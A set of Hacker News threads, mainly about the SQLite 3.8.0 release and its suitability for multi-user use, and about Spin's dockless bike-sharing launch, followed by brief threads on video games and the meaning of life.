Just to be clear, I'm not saying every application needs it. If you actually use it as a replacement for local files, that's great. If you use a multi-user app containing sensitive data - "root password (wtf, everybody hate passwords)" this is so wrong. Reminds me of "chmod 777 everything" \- wtf, everybody hates dealing with permissions.

<comment><USER5> The gp point that sqlite gets rid of all the "stuff that has really nothing to do with storing and querying data" still stands.

Sqlite eliminates almost all of the management overhead that other databases force on you, so its trivial to have one database per application. Indeed, I have never seen anyone bother with a multi-application sqlite db, which could also cause serious performance problems. So that renders you sql injection point moot.

As for permissions, its better to let the OS handle that than some half-baked database permissions system. Root accounts/passwords _are_ a wtf in a production environment because they destroy auditability. If you really want permissions, it is trivial to create system user accounts for the application and assign the correct file permissions, or even isolate particularly sensitive information in its own file. Combine this with AppArmor to further lock down individual applications.

All of this is overkill, but so is a full blown RDBMS in many cases. If you are starting out building a new application, just target sqlite until you actually need something bigger. Odds are, YAGNI.

<comment><USER6> > _Sqlite eliminates almost all of the management overhead that other > databases force on you_

 _Multi-user support_ is what forces that overhead on you.

It's just that SQLite consciously aims to be a single-user system.

> _As for permissions, its better to let the OS handle that than some half- > baked database permissions system_

This is nonsensical. There isn't an isomorphic mapping from the Unix permissions model to SQL's permissions model, particularly when you start introducing stuff like row-level permissions.

If you write an application which uses a DB backend, and you require multi- user capability, you can either delegate some of that to the database, or roll your own. In which case, half-baked permissions systems are back! Especially if you can't isolate database connections (because it renders any app-code permissions system moot if you allow 3rd party code execution, such as plugins).

All that overhead is there for a reason. Those reasons are irrelevant in the single-user case. But they are not irrelevant in the multi-user case.

<comment><USER7> > All that overhead is there for a reason.

SQLite's classic use case is where SQL-like access to data would be convenient but a full RDBMS would be tremendously inconvenient, e.g. embedded systems. People seem to be citing inappropriate environments for SQLite as reasons to say it is of no value. You get the same sort of silliness from NoSQL zealots.

</comment></comment></comment></comment></comment><comment><USER8> My favorite thing about SQLite is the business model. My understanding is the product is free, but they charge for their test suite. If you build hardware that is going to use SQLite, then you should pay for the test suite, and that funds the future development. It is a tautologically perfect business model. Revenue toward a rock solid project pays to make it even more rock solid.

<comment><USER9> But these days, any where you could possibly deploy SQLite are generally linux based platforms.

And you don't really worry about underlying hardware on those machines.

<comment><USER10> I'm sure every smartphone vendor would probably disagree with you there.

</comment></comment></comment><comment><USER11> SQLite is one of the most important pieces of software you never see. I've used it in projects from many years back to recently and you know what's awesome about it? It Just Works.

<comment><USER12> Unless you want to use it with multiple users and connections, in which case it stops working. It's good for embedding data storage in clients and testing.

[http://howfuckedismydatabase.com/sqlite/](http://howfuckedismydatabase.com/sqlite/)

<comment><USER13> Until 2010, I ran a forum on SQLite with 600 users/day + around 1000 posts/day on a single OpenBSD machine with 2gb RAM and 7200RPM HDD. We moved to Postgres when we passed 1600 posts/day.

There was some minor slowdown noticeable around 6AM - 10AM, but besides that, we never had major issues. The bottleneck was usually the network, not the DB.

Edit: Anyone interested in playing with SQLite should give the SQLite Manager plugin for FF a try : [https://addons.mozilla.org/en-US/firefox/addon/sqlite- manage...](https://addons.mozilla.org/en-US/firefox/addon/sqlite-manager/)

(I'm not affiliated with the developer, I just like the tool)

<comment><USER14> I thought SQLite locked the entire DB when doing an INSERT. Seems like that would slow a forum app considerably. Though I guess at 1600 INSERTs per day, which averages to about 1 per minute assuming even distribution throughout the day, you won't have that many lock collisions.

<comment><USER5> The sqlite locking model can eat 1600 inserts before breakfast with only minor lock contention. The whole file lock doesn't take effect until the moment the write is ready to go to disk.

[http://www.sqlite.org/lockingv3.html](http://www.sqlite.org/lockingv3.html)

</comment></comment></comment></comment></comment><comment><USER15> Just to remind us all what "testing" means[1]:

        As of version 3.8.0, the SQLite library consists of approximately 84.3
        KSLOC of C code. (KSLOC means thousands of "Source Lines Of Code" or,
        in other words, lines of code excluding blank lines and comments.)
        By comparison, the project has 1084 times as much test code and
        test scripts - 91452.5 KSLOC.

[1] [http://www.sqlite.org/testing.html](http://www.sqlite.org/testing.html)

</comment><comment><USER6> The related article on the new planner is great reading too: [https://www.sqlite.org/queryplanner- ng.html](https://www.sqlite.org/queryplanner-ng.html)

</comment><comment><USER16> For me at least, partial indices are the killer new feature of this release - [https://www.sqlite.org/partialindex.html](https://www.sqlite.org/partialindex.html)

</comment><comment><USER17> "Query planner are what make SQL database engines so amazingly useful and powerful. (This is true of all SQL database engines, not just SQLite.)"

No it isn't. I have been using SQL databases which got absolutely horrible query optimizer totally ruining any performance exceptations. I have blogged about that, and I was very frustrated and disappointed with results.

Which is faster if id>100 or simply walking database by using series of selects select ... id=101 ... select ... id=102 ... Turns out that the later method is a much faster. Engineers also then suggested that I could optimize the query by using structure select ... id=101 UNION select ... id=102. That's simply insane. How ever the query was written, query otpimizer / planner should make sure that all these queries are delivered using similar background process. Of course that walk is impossbile to optimizer, because it's series of individual queries. But it's just crazy that select id>100 is slower than that!

Yes, you might have guessed that the SQL database I'm referring to isn't SQLite.

And finally, I love SQLite and use it for most of my (work & hobby) projects as local database.

<comment><USER18> Just curious, what database is that? If the index on id is a B+ tree rather than a hashtable, it's very unlikely id > 100 would be slower. You are issuing one query with it vs. N queries with the 2nd approach.

Were there a lot of qualified rows for id > 100? If there're a million rows qualified for id > 100, which way is faster?

</comment></comment><comment><USER19> I love query planners and optimisers. However, here's where I get a bit bemused: as it states in the article, a query planner must often go on incomplete information. Therefore you have to know the underlying assumptions built into the planner.

This is where explain/execution plans are great. Unfortunately, even these aren't completely documented. SQL Server is not bad, and Postgres is not only well documented but you can read the source. Oracle is often a basket case - there are literally thousands of undocumented parameters that you can set, not to mention underlying data views that also haven't been documented. In fact, there have been whole books trying to unravel the Oracle CBO, but even the most obscure often admit that Oracle fix optimiser bugs which can cause an impact on query plans.

In some cases, you must implement hints, because there is no way of catering for all queries under all loads based on all possible data distributions. Sure, you can add a variety of different types of indexes, histograms and other statistics to try to influence the execution plan, but at the end of the day sometimes you simply have to add a hint to force a particular sort of join, etc.

I guess my main point as I muse on query optimizers/planners is that none of them are perfect. It occurs to me that one of the best so far is actually Postgres, but alas - they don't allow for hints.

What's my main point here? It really comes down to the fact that the ideal for database queries is to allow for a declarative syntax ("give me all rows of product x that are over $100") without having to worry about the mechanics of retrieving the data, it's just not entirely possible. You really need to give developers and database folks the ability to nail down the actual mechanics of data manipulation.

</comment><comment><USER20> The write up of the NGQP seems (at least superficially?) weird: they say that the reason for the rewrite was poor performance on a particular artificial benchmark (8-way join.. how often do people join 8 tables in practice?). At the same time, I was surprised to learn that the only kind of join algorithm SQLite supports is nested loops. I would think they would benefit more from adding hash and merge joins instead of rewriting the QP from scratch.

<comment><USER21> I regularly do 20+ table joins.

</comment></comment><comment><USER22> People in this thread say SQlite is fine for apps with lots concurrent writes (people advocate running forums and other multi-user apps using it) but that's not correct in my experience. I wrote a blog[1] in Python that uses a Sqlite database and on each post view a view counter was incremented[2] using a simple UPDATE ... views = views + 1 on the post row. Removing this update caused page speeds to increase hugely, from ~10 requests a second to ~200 or so. Maybe I was doing it wrong, but I can't see how.

1\. [https://github.com/orf/simple](https://github.com/orf/simple)

2\. [https://github.com/orf/simple/commit/2121401030cab4d500330e9...](https://github.com/orf/simple/commit/2121401030cab4d500330e98ea2d77dc9007b02c)

<comment><USER23> I'm not familiar with the ORM here, but is it really just an increment ("update posts set ctr = ctr + 1 where id = 9") or a select, add one in code, and then an update? Also bear in mind that one operation in an explicit transaction like this is quite slow, at least prior to WAL.

</comment></comment><comment><USER24> Be ready to hear more and more from SQLite as the world moves to mobile (iOS/android) - it really shines in that environment.

</comment><comment><USER25> Ah, the beta presupposition: SQLite version 3.8.0 is actually one of the most heavily tested SQLite releases ever. Thousands and thousands of beta copies have be downloaded, and presumably tested...

</comment><comment><USER26> I really wish there was something like sqlite to replace MS Access - <USER2> I think what I really want is something to replace MS Excel that isn't MS Access. The ability to have a self contained file based database that can be moved around and shared, but that can also hook up to external data sets has a lot of use cases in enterprises. But it would require a good query view, the ability to create forms and reports, and have a sane sql dialect.

<comment><USER27> Well SQLite is already around and stable, so all you'd need then is a really good Access style front-end for it.

</comment></comment><comment><USER28> "May you do good and not evil May you find forgiveness for yourself and forgive others May you share freely, never taking more than you give."

</comment><comment><USER29> can it nest joins in parenthesis yet?

      SQLite version 188.8.131.52 2013-01-09 11:53:05
      Enter ".help" for instructions
      Enter SQL statements terminated with a ";"
      sqlite> create table a(id integer);
      sqlite> create table b(id integer);
      sqlite> create table c(id integer);
      sqlite> select a.id, b.id, c.id from a
         ...>     left outer join (b join c on b.id=c.id) on b.id=a.id;
      Error: no such column: b.id

SQLite is now the only major database I'm aware of that still can't handle this syntax (postgresql, mysql, oracle, SQL server, firebird, etc., no problem. I'm also well aware of how to use a SELECT subquery as a workaround).

Supporting some crude form of stored procedure would be nice too (you can already add SQL functions, why not procedures?), so that a 3rd party can provide semi-native ALTER support (don't worry, I don't want to put ALTER into SQLite itself, I understand it requires rewriting of table data, I'd just like there to be a standard implementation of that approach somewhere).

</comment><comment><USER30> I haven't tried SQL Lite, I always used Firebird SQL embedded.

<comment><USER13> It's a pretty nice little DB for a lot of things.

If you just want to play with it a bit, there's a Firefox extension available : [https://addons.mozilla.org/en-US/firefox/addon/sqlite- manage...](https://addons.mozilla.org/en-US/firefox/addon/sqlite-manager/)

It's not very powerful, but you can play around with different schemas. You can even export to different formats and edit manually if you like.

</comment></comment><comment><USER31> Is there something about sqlite that postgres can't come in to replace it completely (a kind of dynamic postgres that starts up and shuts down like sqlite). With mysql,postgres,and sqlite, the open source db industry gets diluted. Some kind of merger would be great.

edit: to below posters, I'm fully aware sqlite is embedded, i use it everyday for android. I'm just asking if there's actually a technical reason why sqlite and postgres (and mysql) couldn't be merged. A db that can be both embedded or run as server. This would reduce the duplication of effort in open source db community.

<comment><USER32> SQLite isn't a replacement for postgresql (or vice versa). SQLite is a replacement for fopen.

Among its many advantages in that situation: a database is contained in a single file with minimal overhead, the source is shipped as one .c file and encouraged to be statically linked, and the code size is relatively small (compared to something like postgresql).

<comment><USER33> I hope sqlite someday add functions and/or store procedures. Plus better error messages (like when a foreign key is violated)

<comment><USER34> Why exactly do you need stored procedures in sqlite? You can just write code. Are you using it in a scenario where you can't write code to interact with sqlite?

<comment><USER33> For the same reason are used in others DBs.

Some things are better expressed in the DB native language. Help to abstract and share implementation of DBs that are used by different languages.

</comment></comment></comment></comment></comment><comment><USER35> It might be off-topic, but my dream is that SQLite would also become a document-based database, like MongoDB, but keep SQLite's lightweight and speed!

<comment><USER36> If you really wanted, you could always take a FriendFeed style approach and create a document store on top of SQLite. [http://backchannel.org/blog/friendfeed-schemaless- mysql](http://backchannel.org/blog/friendfeed-schemaless-mysql)

</comment></comment><comment><USER37> Quote: "Do not fear the zero!"

I love SQLite ...

</comment><comment><USER38> How does SQLite compare to H2? When would I want to use one or the other?

<comment><USER18> I guess when you want to use a pure Java solution. H2 is good that it's just a jar file. You pre-configure and package up everything in one bundle. There will be no setup. Things just work when you copy the bundle over.

</comment></comment><comment><USER39> I wish I could use it in the browser in a future proof way.

Web SQL Database rocks.

</comment><comment><USER40> Sqlite and Core Data are synonymous in my mind (hint: it's because I'm a terrible programmer)</comment>


Spin wants to bring dock-less bike sharing to the US - <AUTHOR> https://techcrunch.com/2017/01/25/spin-wants-to-bring-dock-less-bike-sharing-to-the-us/? <comment><USER3> Hey, I tried to do this! I was CTO of a little student startup called A2B Bikeshare for a while. We called it "stationless" though :)

We got a prototype working with a custom Android device with touch, 3g, GPS, and built in credit card swiper in Lansing MI, but ultimately we b it off more than we could chew. The team collapsed in mid 2015, and the company was just recently completely shuttered. It's validating to see a more skilled team put together a solid product, but damn it would have been fun to be that team haha.

Best of luck!

<comment><USER4> > It's validating to see a more skilled team put together a solid product

Don't put yourself down. It looks like the founders are reasonably well financed, probably well connected, and of course the Bay area effect.

<comment><USER3> No, I was in my early twenties, didn't know how to scope a project, didn't know how to effectively push back on scope creep, and didn't really have the technical chops for what we were attempting. I learned a ton and wouldn't make the same mistakes again, but none of us had any prior startup experience. These guys have a lot of startup experience, and being well connected is being skilled at networking. I'm not being self deprecating, this team is objectively more experienced than we were.

</comment></comment></comment><comment><USER5> Hello HN! I'm Euwyn, one of the co-founders of Spin (also, 2x YC alum). We're excited about bringing the dock-less bikeshare model to our home city of SF.

I've lived in SOMA for years, and have always wanted to bike around, except: (a) it was always a hassle to deal with a bike after going around town, because I would inevitably end up Uber-ing somewhere after my first stop and (b) my bikes would get stolen :(

Would love to hear any questions you guys had about the business, and look forward to you guys riding our bikes soon.

ps. If you want to follow along or have any questions about Spin or startups in general, I'm 'euwyn' on Whale and Snapchat.

<comment><USER6> > (b) my bikes would get stolen

This is why I don't ride a bike in Philadelphia. I don't know anyone here who rides a bike and hasn't had it stolen _at least_ once.

The only way to guarantee your bike isn't stolen is to bring it inside, which isn't an option at most workplaces. And even if it was an option it's a huge hassle.

<comment><USER7> Alternatively, buy a cheaper bike. Most folks in Belgium and the Netherlands use bikes that are 50-100 euro, so if your bike gets stolen every couple of years it's not that big of a deal.

<comment><USER8> When I was working in London, I was always worried about having my bike stolen if I rode to work. Just before I moved back to Japan I started doing the math. My train fare was 18 GBP per day to go a grand total of 30 km each way (22 km as the crow flies). 18 GBP * 5 = 90 GBP per week. As long as I got my bike stolen less than once a month, I could have had a reasonably decent commuter bike and still come out ahead :-P By the time I realised it, I wasn't in good enough shape to ride 60 km a day and I was just about to leave anyway.

<comment><USER9> Even at 20mph, that's nearly 2 hours a day. What an insane amount of commute time.

<comment><USER10> I doubt you'd manage 20mph unless you jump red lights. My 10 mile commute in Manchester takes 45 minutes mainly because of traffic and lights.

<comment><USER11> It really does depend on the route you take. I don't take the shortest route as that involves lots more junctions, more lights and more conflict; my route algorithm is mostly about minimising stress.

7 mile commute in London and analysis of my GPS tracklogs show that, on average, I am stopped at 5 out of the 23 traffic lights there are on my commute with only 3-4 minutes of stopped time on a 30 minute commute.

It's helped by long sections of nice wide road with few junctions where good progress can be made. The best example of this is Battersea Bridge to Lambeth Bridge (North side of the river) so going along Chelsea Embankment, Grosvenor Road and Millbank, with Cycle Superhighway 8 between Chelsea Bridge and Lambeth Bridge.

[ Sure this is only 14mph (compared to the ~20mph I'd do on the open road) but I'm also on a much heavier bike hauling plenty of clothes/lunch/stuff to and from work. It's still a good workout. The few times I've done it very early or very late I've come a lot closer to 20mph as I'm not slowed up by traffic.

The OPs journey might also be 2/3 rural-ish roads where you can make good progress, say closer to 25mph, and then the last 1/3 of the journey where maintaining that speed without interruption isn't so easy. ]

</comment></comment></comment></comment></comment></comment></comment><comment><USER12> For those interested: over here in China (specifically Shanghai) is a massive bike sharing war being fought, where the two largest incumbents have been given well over $200m in investment money over the last year. The leading brands are Mobike and Ofo, with around 4 other small competitors creeping in.

Mobike was started by an ex-Uber China manager, launched in Shanghai - <USER2> Ofo had been developed as a bike sharing scheme in universities.

Mobike has GPS enabled, QR unlocked bicycles. Where as Ofo are not GPS enabled and are unlocked with a simple analogue pin code bike lock.

If you want to know more, let me know.

<comment><USER13> Great summary. I started using Mobike+subway+Mobike to get to/from work after Uber China stopped offering generous subsidies.

I use both Mobike and Ofo, depending on which is available.

Advantages of Mobike:

\- Map-based view of nearby bikes

\- Can reserve a bike for 15 mins, whilst you walk to it from wherever you are (good if you're a couple of subway stops away)

\- Bikes are plentiful in most places I go

Mobike disadvantages:

\- Bikes take some effort to ride, perhaps due to a dynamo and the weight of the electronics

Ofo advantages:

\- Bikes are light and easy to ride

Ofo disadvantages:

\- Need to wander around to find one, which takes time, even if the app tells you there are some nearby

\- Quite common for an Ofo bike to be locked to something using a private chain (i.e. someone has stolen it), and you don't know until you walk up to it

<comment><USER14> > \- Quite common for an Ofo bike to be locked to something using a private > chain (i.e. someone has stolen it), and you don't know until you walk up to > it

How about always carrying a metal saw with you?

<comment><USER13> You're not allowed to carry weapons or weapon-like things on the subway in Beijing. There are x-ray machines at every entrance.

</comment></comment></comment></comment><comment><USER15> The problem I've always had: what I want from a bikeshare is to be able to exit the train station, grab a bike, bike the remaining kilometer or two to work and drop the bike. Later in the day I want to do the same in reverse.

That only works in a hub program if there's a dock next to my office building. (You can count on a dock being next to the train station.) Or I could pay for all-day rental of the bike, when I'm only using it for two ten-minute periods.

In a dockless system, does it actually get any better for my use case?

<comment><USER16> I also wouldn't be satisfied with solid tires.

<comment><USER17> Are solid tires really so bad if you're only going a few miles on asphalt at a moderate speed? Seems better than risking a flat or under inflated tire. If they have to send bike mechanics to change and inflate tubes all the time it kind of kills the economics of bike sharing.

<comment><USER18> Are they solid, or spongey? Solid rubber would be quite heavy, and most riders wouldn't like the rotational inertia.

<comment><USER19> they are actually full of holes look closely at the closest orange tire in this pic

[http://d3nd7i493f0o21.cloudfront.net/assets/resized/img/bike...](http://d3nd7i493f0o21.cloudfront.net/assets/resized/img/bikes-0-600-0-800.jpg)

</comment></comment></comment></comment></comment><comment><USER20> This has been available in Germany for 17 years, run by the rail company (DB): [https://en.wikipedia.org/wiki/Call_a_Bike](https://en.wikipedia.org/wiki/Call_a_Bike)

And some cities also have their own programs, such as Munich's MVG Rad (E48/year for 30 min per day): [https://www.mvg.de/services/mobile- services/mvg-rad.html](https://www.mvg.de/services/mobile-services/mvg- rad.html)

<comment><USER21> And there was a fun CCC talk about hacking them: [http://www.ccc.de/en/hackabike](http://www.ccc.de/en/hackabike)

</comment></comment><comment><USER22> Nextbike a german company offers station less bikeshare, or at least a hybrid model, dockless within a central area and with stations outside. [http://www.nextbike.de/en/locations/](http://www.nextbike.de/en/locations/) zoom in on "red" locations like Köln or Karlsruhe.

<comment><USER23> Their sister company just created the first fully electric bike share programme in Exeter, UK [https://www.co-bikes.co.uk/](https://www.co- bikes.co.uk/) I think this is the key thing bike share programmes are missing to get 'normal' people on board. Bicycles are great exercise, ebikes are simply the quickest and easiest way to travel around cities.

Bath Hacked were able to get hold of the NextBike Bath hire data for the scheme. Hire stations even on slight hills had significantly less usage. These bikes are _heavy_ and people that rent them are not used to cycling. Lot of people taking bikes from the station on the hill, but very very few to the station. We also found a huge number of circular rides (back to the same station) i.e. tourists/locals using them for leisure rides.

The following video shows all the rides by hour of day rides are taken excluding circular hires. The station with very few rides is top right ("Sulis"). Note how there are a bunch of drunk students riding them back to halls around 3am in the morning ;) [https://www.youtube.com/watch?v=4AfocuESnSg](https://www.youtube.com/watch?v=4AfocuESnSg)

Even if your city is flat, electric bikes will make a big difference to uptake. The mistake people make is that the people that get the council to implement these schemes are usually keen cyclists and are 'ok' with a bit of strenous cycling. That is not 95% of your potential customer base.

PS: Would be good to see co-bike's hire data at some point and the impact elevation had on hires.

<comment><USER24> Dockless electrical seems like a drawback though, as chances become high your undocked ebike is now just a heavier regular bike.

<comment><USER23> Sorry I was just commenting on the need to appeal to 'normal' people who find the idea of cycling too much effort and too sweaty. Electric bikes need docking stations but usually a charge will last at least 40 miles. More than enough for a day.

<comment><USER24> Oh don't misunderstand me, I fully agree that an ebike sharing service would be significantly better (more convenient and comfortable and with larger appeal in both flat and non-flat cities), I'm just saying I don't see how to reconcile ebike services with dockless.

</comment></comment></comment></comment></comment><comment><USER25> I would like to ask about what bothers me after trying such services in China (stationless bikes), in Shenzhen:

How will you address annoying parking?

I've noticed that people in China really quickly realised how free is "stationless" and you would see those bikes parked in middle of roads, in middle of walking paths, dumped in bushes - just because you can. At one point I saw some foreigner (so not to say only Chinese do it) arrive at Starbucks, stop his bike just in front, lock it and go inside.

I found the idea really great but that kind of overtaking of shared space is quite disturbing.

</comment><comment><USER26>
      Spin's bikes will be parked neatly all across the city

_Where?_

Have they arranged appropriate parking places / staging points on private property? Or do they play to just lock bikes to sign poles and streetlamps?

Imagine the visual pollution of thousands of brightly-colored bikes strewn around (or, worse yet, taking up capacity in bike racks that then limits their use for individually-owned bikes).

Many cities have banned random newsracks on public thoroughfares for exactly this reason (including S.F.).

<comment><USER18> Bicycles are beautiful objects. The appearance of most cities would be vastly improved by a generous salting of colorful bikes.

<comment><USER27> Until there are too many.

<comment><USER18> Is this a slippery-slope argument? "You might not mind five bikes parked on your block; what about a _THOUSAND_?" Five shared bikes on a block would probably remove at least a couple of automobiles from the block, on average, so I'm all for it! Presumably cars would disappear entirely well before we got to a thousand shared bikes, so if we stopped then we'd be fine...

<comment><USER27> Five is ok, if there's a place meant to be the bike parking place.

If not, that's five bikes locked up to poles and street signals. What about a hundred?

<comment><USER18> Does the block have 500 shared-bike riders present at any particular time? Conservatively assuming that the average rider is riding an hour a day (which would be 24:1), a 5:1 riders to bikes ratio is also a conservative assumption. If there are that many riders, then by all means it's reasonable to have 100 bikes present as well. If there aren't enough poles and racks, the bike company or the city can plant some more. It still won't cost near as much as maintaining the streets.

</comment></comment></comment></comment></comment></comment><comment><USER28> Your bikes are going to be stolen, stripped, and scrapped.

<comment><USER29> Hypothetical pie-in-the-sky thinking (not saying anyone is doing anything this crazy today):

You park your bike and use your phone to "lock it".

Bike locks-in its GPS location. Any attempts to move it will trigger multiple wide-angle/fisheye cameras to start recording and streaming to your phone (also recorded).

Remotely, with your phone, you review the footage. At your command, the bike can call the police to report a theft in progress, and reports its location as quickly as possible in street address/intersection terms.

With another command, built-in loud-speaker also warns passersby that a theft is in progress. The pleasant voice also encourages them to provide additional video coverage of the thief, and (at the user's option) may promise a reward. If the theft is thwarted, then the bike-savoir is can be rewarded (paypal, bitcoin, whatever) by the bike owner, who has seen the whole thing happen on camera, and the bike can use bluetooth/p2p to verify the that the paypal/bitcoin recipient is indeed the person you just saw save your bike.

More fun: at your command, the bike can spray a thick mist of semi- permanent/eventually-washable paint around itself; the exact color shade of the paint spray would always be slightly different in every canister, so one could precisely tie a bike to its thief, if they were perchance apprehended before the getting out of their paint-soiled clothes.

Even more fun: Any/all of these features could also be configured to trigger without any user intervention. For example, if (while locked) the bike detects removal of parts like the seat, wheels, etc., I want it to call the police and emit the paint spray.

At that point, if the bikes were clearly marked as having such technology, and were not super-fancy carbon-fiber bikes but were basic, decent, rideable bikes, then you have what "the club" effect brings to cars -- it becomes obvious that they are not worth the effort, and thieving sticks to non- hardened bikes.

You then get a ratchet-effect, like in a neighborhood with some crime, as soon as one house gets bars on the windows, it won't be long before the whole block does. Get ready for GPS and these kinds of features in every bike. It could be fun, hopefully you can run Linux on these bikes :)

<comment><USER28> This is all predicated on the fact that police and passersby care about a bike being stolen. My experience in San Francisco has shown this to not be true.

<comment><USER29> This is why my approach is multi-pronged. Even if no bystanders intervene, you still have to ask:

      * What kind of thief wants their theft to be video recorded?
      * What kind of thief wants a loudspeaker blaring to everyone about their thievery?
      * What kind of thief wants to risk getting covered in paint?

Even if the thief is really, really desperate, and doesn't care about these things, surely there are easier bikes to steal that don't entail this level of risk.

<comment><USER30> You must not live in San Francisco.

Bike 'chop shops' operate in the open, disassembling stolen bikes outside the many tents that line the streets in the Mission district. Here's a good article on the problem: [http://archives.sfexaminer.com/sanfrancisco/fighting- sfs-mob...](http://archives.sfexaminer.com/sanfrancisco/fighting-sfs-mobile- bicycle-chop-shops/Content?oid=2816129)

Thieves will use 'angle grinders' to cut bike locks in broad daylight, on busy streets. Here's an example video: [https://www.reddit.com/r/sanfrancisco/comments/4fcy9y/sparks...](https://www.reddit.com/r/sanfrancisco/comments/4fcy9y/sparks_fly_as_bike_thief_grinds_through_lock/)

These bikes have an uphill battle before they will survive unmolested in San Francisco, particularly the SOMA/Mission area. I wish them luck!

<comment><USER29> I have lived in SF, and I have worked in SF for years, and I most recently had a bike stolen last year, in FiDi, in broad-daylight. I know what it's like.

Thieves are smart and opportunistic. They're less inclined to steal a bike if they know it is being tracked. SFPD in fact have used "bait bikes" on occasion.

Go ahead and keep your attitude of smug resignation, that's entirely your right. I refuse to believe that nothing can be done to combat this rampant problem!

</comment></comment></comment></comment></comment></comment><comment><USER31> As another user mentioned, this idea (stationless bike share/rental) has been white-hot in China since the past summer, with a lot of extreme incidents occurring in the past couple months. The article doesn't exaggerate about 10ft tall piles of bicycles. Vandalism is a major part of the competition between companies as well--it is a regular sight (in Shenzhen) to see bikes with spray paint over QR codes, falsely reported damage, missing seats, etc.

Overall, the system works extremely well and is super convenient, but Shenzhen has very good public transportation to begin with and most of the sidewalks in the city are very wide compared to those in San Francisco. Those are two of the key things that have enabled this type of service to emerge and take off in China--it's really just solving a "last-mile" problem of getting to a point that's too far from a metro station to comfortably walk but not far enough to take a cab.

</comment><comment><USER32> How is this better than docking stations?

I tried bike sharing and gave it up because the bikes were poorly maintained and replaced with cheaper bikes (thanks Citibike). Bikes fail, sometimes missing brakes, other times a flat tire.

Why are docking stations important? Because a couple times a week I notice the company pull up with a trailer and maintain the bikes. They swap out the broken ones and fill the stations.

Is Spin going to drive around the city tracking individual bikes to replace them?

<comment><USER33> I've been Citibiking since nearly the start and I prefer the new models.

Sometimes the brakes are bad, true, but I never pick one with a flat tire (of course checking before I take it out) and I have to say I have gotten tremendous utility from my membership. Sucks to see someone who didn't like it.

I think your last point is pretty devastating and I don't see dockless bike sharing ever reaching the grand scale of something like Citibike.

<comment><USER32> The biggest source of conflict with Citibike is that they removed the feature to report bikes as broken. So they take twice as long to be replaced.

Since then I've moved to a position where it's cheaper to have my own bike or walk.

<comment><USER33> I'm pretty poor but I've found having a bike AND Citibike is the real NYC dream, worth every penny.

</comment></comment></comment></comment><comment><USER34> Has worked in Germany for years. Sponsored by Deutsche Bahn.

<comment><USER35> More details?

<comment><USER36> The DB has a bike-sharing offer (Call-a-Bike) as well as a car sharing offer (Flinkster). Call-a-Bike used to be free-floating in a lot of locations, among them Cologne and Berlin, but that changed to a station/dock based system a few years ago. It's supposed to be changing back to free-floating again, at least in Berlin.

The bikes all have a distinct build and color and a Box with a simple touch display and a lock. Even before smartphones you could just text a number and it would send an unlock code. To drop the bike off you'd lock it and call an automated system to give it the displayed confirmation code. That was actually pretty nifty, I liked and used it a lot.

The CCC did a tear down of one of the bikes [https://www.ccc.de/en/hackabike](https://www.ccc.de/en/hackabike)

<comment><USER37> Definitely free-floating over here in Munich.

</comment></comment></comment></comment><comment><USER38> This reminds me of the April fools video Google put out about self-driving bikes. It would be neat if self-driving bikes could go to where they were needed.

<comment><USER21> Self driving tricycles?

</comment></comment><comment><USER39> We tried something similar a few years ago with Spokefly. We didn't own the bikes, anyone with an extra bike could participate, and we didn't put GPS on them. Users checked bikes in and out with their phone's GPS. There were numerous problems and the company failed.

The market for our service wasn't big enough. If you owned the bikes I think it would work better since sizes are consistent, they're easier to brand, etc. That said it's really hard to make money on it when you're competing with publicly subsidized bike shares and VC subsidized ride shares.

Phones _still_ don't work well. It was too easy for the GPS location to be wrong or for users to have phone connectivity problems, causing a lot of frustration. Our service was popular at big events where traffic was bad (eg SXSW) but that's when cell service is the worst. If you rely on phones your users will have problems.

</comment><comment><USER13> "In China, kiosk-free bikeshare programs have proven almost as problematic as they have popular. Riders have parked bikes in fire lanes..."

I've lived in China (Beijing and Shanghai) for 6+ years, and have never seen a fire lane.

"And in some cases, towering piles of bikes have cause Chinese cities major headache as they've blocked pedestrians, created an eyesore and a possible safety hazard. (Imagine a bike falling from a ten-foot high pile, and landing on your head?)"

What are they talking about? Are they suggesting that riders are parking bikes on top of each other? How did the last rider place their bike on the top of a "ten-foot high pile"? I haven't seen anyone tall enough to do that, in China or anywhere else.

This whole paragraph seems totally made up.

</comment><comment><USER40> Hamburg, Germany has an interesting bike program where there are docks but you can also lock the bike up using a digital lock on the back wheel so if you need to stop somewhere and there isn't a dock close by or you just don't feel like returning it yet you can lock it up. I think this is a great option.

I wonder if cities will allow this competition among bike sharing. Some of these bike programs have big corporate sponsors and the cynical side of me imagines they might have an influence on whether cities allow new entrants to the market.

</comment><comment><USER13> "The MTC previously struck an exclusive agreement with Motivate and Ford ... Disruptors who just enter the market without city approval would potentially violate that agreement."

How could 'Disruptors' violate an agreement to which they're not a party?

</comment><comment><USER41> San Francisco seems like a terrible place to open up anything to do with bicycles. Everyone will just ride down the hill, park the bike, and get an uber later. Some poor asshole will have to take them all back up.

</comment><comment><USER42> Check out [https://www.rekola.cz/en](https://www.rekola.cz/en) \- running on the same principle since 2014, might have some ideas ;)

</comment><comment><USER43> This is a fantastic idea! Can't wait for it to go live :)

<comment><USER44> Thanks for your support! Which city are you in? (And do sign up at [https://spin.pm](https://spin.pm))

</comment></comment><comment><USER45> this looks amazing!

</comment><comment><USER46> There are already more Citi Bike docks in NYC than I feel like is necessary for the service to be convenient. Within one block of my apartment there are already 3!

<comment><USER47> Wow. Two of those could be removed. One to be replaced with a Duane Reade and the other a Starbucks.</comment></comment>


Video games may affect the brain differently depending on what you play - <AUTHOR> http://www.npr.org/sections/health-shots/2017/08/09/542215646/video-games-may-affect-the-brain-differently-depending-on-what-you-play <comment><USER2> Thats a bit like saying what you eat may affect your health ;)</comment>


The Meaning of Life - <AUTHOR> http://plato.stanford.edu/entries/life-meaning/

<comment><USER2> Good Morning

Today's HN Sunday School Surveillance:

"The Meaning of Morning"

The weighty and by now quite sad:

Alas, Atlas, aka Descartes, descending heavy and exhausted elephant's privacy:

I am ~ I am therefore(... (I am therefore(... _sigh_ ...) ...)

surveillance ~ meaning of ( meaning of ( ... meaning of ( )))

meta^(n)(meaning of meaning) ~ meta^(n)(meaning of life):

with:

d^(n)/d^z exp^z = exp^z, or iter_{n} \ints e^(n)^= e^z,

e(z) ~ e(n)'(z) ~ ... ~ e(2)'(z) ~ e'(z) ~ e(z),

kernel of all Taylor series, Lapalace and Fourier transforms, optimum nos base, signature tell-tail of organic and non-carbon life

Method of `exhaustion( original_thought_crime)', until:

Subst iter-expon into error_function non-imaginary trench warfare real moonscape enfilidating fragmenting shells terror:

